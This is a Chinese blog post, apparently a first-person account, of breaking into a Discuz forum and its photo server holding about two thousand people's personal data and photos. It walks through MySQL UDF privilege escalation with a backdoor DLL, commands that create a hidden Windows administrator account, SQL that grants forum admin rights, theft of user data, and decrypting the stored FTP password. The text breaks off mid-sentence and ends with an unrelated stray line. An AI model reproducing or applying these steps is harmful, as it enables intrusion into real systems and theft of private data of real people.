从Discuz到远程FTP 非工具思路党解密渗透

首先,我是建立在前人的成果之上。简述一下服务器情况。目标是两千个人的登记信息和写真照片服务器。网站服务器和存放照片的服务器都是独立服务器,但是权限设置很严,虽然没有任何禁用的php函数,但是执行命令无回显,无法获取网站目录文件信息(可以获得部分子目录文件列表和读取部分子目录文件)。网站服务器搭建环境是Windows+IIS6+php+MySql+discuz论坛,discuz论坛附件(即照片目标)存放在另外一台Windows+IIS6+serv-u+asp的服务器上。网站所在的服务器上,MySql数据库禁止使用show等列数据库列表,但是file_priv开启,可load_file也可以into outfile操作。第一步,获得discuz论坛同服务器的网站的webshell。步骤我就不说了,一来没有什么技术含量,看到那个同服务器网站上的源文件后发现,看似强大的程序,可以用fck、晓东的后台暴力猜解、全局POST变量未初始化、貌似还存在的MySql注入等各种漏洞。。。二来,这个webshell不是我拿下的,我也就不写过程了。第二步,提权获取服务器权限。通过网上的开源编译了一个udf提权的dll木马后门,对这个dll文件进行编码后(linux操作起来比Windows容易)存档,创建一个自定义函数(这个网上教程好多,webshell中也有很多已经集成了现成的MySql udf提权模块),这个也就不多讲了。好了,开始正文。第三步正式开始了。前面说了,网站服务器不能读取网站的主目录,只能列出和读取一部分子目录的文件列表,不能编辑内容。说起来,找目录虽然麻烦,不过也不太难,Google搜索关键字:site:网站.com inurl:.php复制代码这样只要在webshell中直接读取这个文件的内容就可以了,或者通过注入点,进行load_file操作读取内容。好在include文件夹可以读取文件,就这样,就得到了MySql的账户和口令。前面说了,MySql不能直接通过show来列出数据库和表段,而网站又不支持执行命令和列目录,比较麻烦。不过既然系统是Windows,我就想到了udf提权。按照网上的步骤操作创建一个自定义函数,把udf.dll导出(into outfile操作)到system32目录,mysql.func表中如下:name:6a756c696574ret:0dl:6d7973716c446c6c2e646c6ctype:function

*注:是十六进制,转换编码后函数名称为juliet,dll文件名称为:mysqlDll.dll(这个文件是提前编译好的,通过into outfile操作导出)这样我只要在MySql中执行:juliet(“net user”)复制代码就能执行cmd命令了,命令放在””引号中间一阵忙活juliet(“net user”)juliet(“net user mysql mysql /add”)juliet(“net localgroup administrators mysql /add”)juliet(“query user”)juliet(“logoff 2”)复制代码我就登录到服务器上去了。

我是到了服务器上面之后才发现,附件根本就不在这台服务器上。我对MySql command line有不熟悉。不过好歹我看到了discuz论坛的数据库名称,名称为aaa。好吧,我又回到了远古的webshell时代。进入webshell执行MySql操作命令。先到这个discuz论坛注册一个账户,记住uid,uid为215872,然后执行:UPDATE aaa.cdb_members SET adminid=1 WHERE uid=215872复制代码就把自己添加进了discuz的管理员列表中。从论坛管理中心进来,发现附件有170GB,但是却是在远程的ftp服务器上,这让我很郁闷。。。

好吧,我把要拿的用户数据备份出来,拿到了我想要的第一份数据。

第二份数据,是discuz远程附件服务器ftp设置破解至于这个远程ftp怎么拿,很多人说,从配置文件中找。可是我找过了,配置文件中没有。我从后台看到,ftp的host设置为61.160.220.*,我在服务器搜索内容,没有任何相关的结果。。显然不在配置文件中。

在discuz论坛后台配置中,远程Ftp附件服务器设置完全是加密的,密码设置框只显示密码第一位和最后一位,不管ftp密码有多长,中间永远是8个*,右键查看设置页面的网页源代码看了一下,很显然,这个ftp密码框的格式是text不是password,value中也是8个*。看来数据应该是存在数据库中了。后台远程附件设置页面的url是/admincp.php?action=settings&operation=attach

我到admin目录里面读取了settings.inc.php这个文件的内容,点击查找attach这个字符。得到下面的代码:elseif($operation == attach) {$anchor = in_array($anchor, array(basic, image, remote, antileech)) ? $anchor : basic;showsubmenuanchors(settings_attach, array(array(settings_attach_basic, basic, $anchor == basic),array(settings_attach_image, image, $anchor == image),$isfounder ? array(settings_attach_remote, remote, $anchor == remote) : ,array(settings_attach_antileech, antileech, $anchor == antileech),));复制代码加上这个文件开头的代码:$settings = array();$query = $db->query(“SELECT * FROM {$tablepre}settings”);复制代码我翻到了cdb_settings这个表里面,确实找到了关于ftp设置的内容。cdb_settings.ftp的内容如下:a:15:{s:2:”on”;s:1:”1″;s:3:”ssl”;s:1:”0″;s:4:”host”;s:13:”61.160.220.*”;s:4:”port”;s:2:”21″;s:8:”username”;

s:12:”XXXX”;s:8:”password”;s:55:”3a21S+rVfCmuxzYWRk2Fos5w0viyh/CvuO78YfVMlK2Gmu1UZ2Xi

VVk”;s:4:”pasv”;s:1:”1″;s:9:”attachdir”;s:17:”./web/attachments”;s:9:”attachurl”;s:41:

“http://photo.XXXXXXX.cn/”;s:7:”timeout”;s:1:”0″;s:6:”mirror”;s:1:”1″;s:11:”allowedexts”;s:25:”jpggifrartar

zip”;s:14:”disallowedexts”;s:14:”exetxtword”;s:7:”minsize”;s:1:”0″;s:7:”hideurl”;s:1:”0″;}复制代码显然,从后台的配置中可以看出ftp的密码并不是3a21S+rVfCmuxzYWRk2Fos5w0viyh/CvuO78YfVMlK2Gmu1UZ2XiVVk这个。这个是个加密过的。

我根据密码长度得到的第一感觉是,base64解密。但是解码得到:莪?暾|)?6FM??银?鸠割?????ge?复制代码全是乱码。。。肯定还有别的。找了一下include目录global里面的加密解密函数,我自己构造了一个解密页面:<?php$aaa=206crkvkfJEsv1jO5e3CIJugXciKyQ0B/JykVCk4YmNBbURJSy0mceI;//这里是ftp加密后的密码$operation == DECODE;//设置为解密模式?function authcode($string, $operation, $key = ) {$key = md5($key ? $key : $GLOBALS[discuz_auth_key]);$key_length = strlen($key);$string = $operation == DECODE ? base64_decode($string) : substr(md5($string.$key), 0, 8).$string;$string_length = strlen($string);$rndkey = $box = array();$result = ;for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($key[$i % $key_length]);$box[$i] = $i;}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == DECODE) {if(substr($result, 0, 8) == substr(md5(substr($result, 8).$key), 0, 8)) {return substr($result, 8);} else {return ;}} else {return str_replace(=, , base64_encode($result));}}$aaa = base64_decode($aaa);//解密这个密文echo $aaa;//输出解密内容?>复制代码结果呢,直接给我输出了base64解密的内容,闷。。。。

看来这样简单就解密了,是不太可能。仔细看了下源码,好像少了个auth_key。在数据库settings里面确实有个authkey的内容,内容为99dc6cae3cN9t4R4,添加进去后,还是不对,这次什么都没输出。。。重新搜索了一下源码含有discuz_auth_key的文件,研究了一下,里面真的真的好复杂。。我想还是从别的路子下手吧,别陷进去出不来了。

后来想,可以从后台显示那里下手,让后台直接显示解密后的内容即可,就不要再加什么星号了。对,就这样

通过settings.inc.php文件中的代码比较,最终锁定在checktools.inc.php这个文件上。

我看了一下,密码遮掩添加星号的代码如下:if(!empty($settingsnew[ftp][password])) {$settings[ftp] = unserialize($db->result_first(“SELECT value FROM {$tablepre}settings WHERE variable=ftp”));$settings[ftp][password] = authcode($settings[ftp][password], DECODE, md5($authkey));$pwlen = strlen($settingsnew[ftp][password]);if($settingsnew[ftp][password]{0} == $settings[ftp][password]{0} && $settingsnew[ftp][password]{$pwlen – 1} == $settings[ftp][password]{strlen($settings[ftp][password]) – 1} && substr($settingsnew[ftp][password], 1, $pwlen – 2) == ********) {$settingsnew[ftp][password] = $settings[ftp][password];}}复制代码我恍然大悟,原来解密代码这么

要愈合不能,要忘却不能,要再次拥抱,却鼓不起足够的勇气,

从Discuz到远程FTP 非工具思路党解密渗透

相关文章:

你感兴趣的文章:

标签云: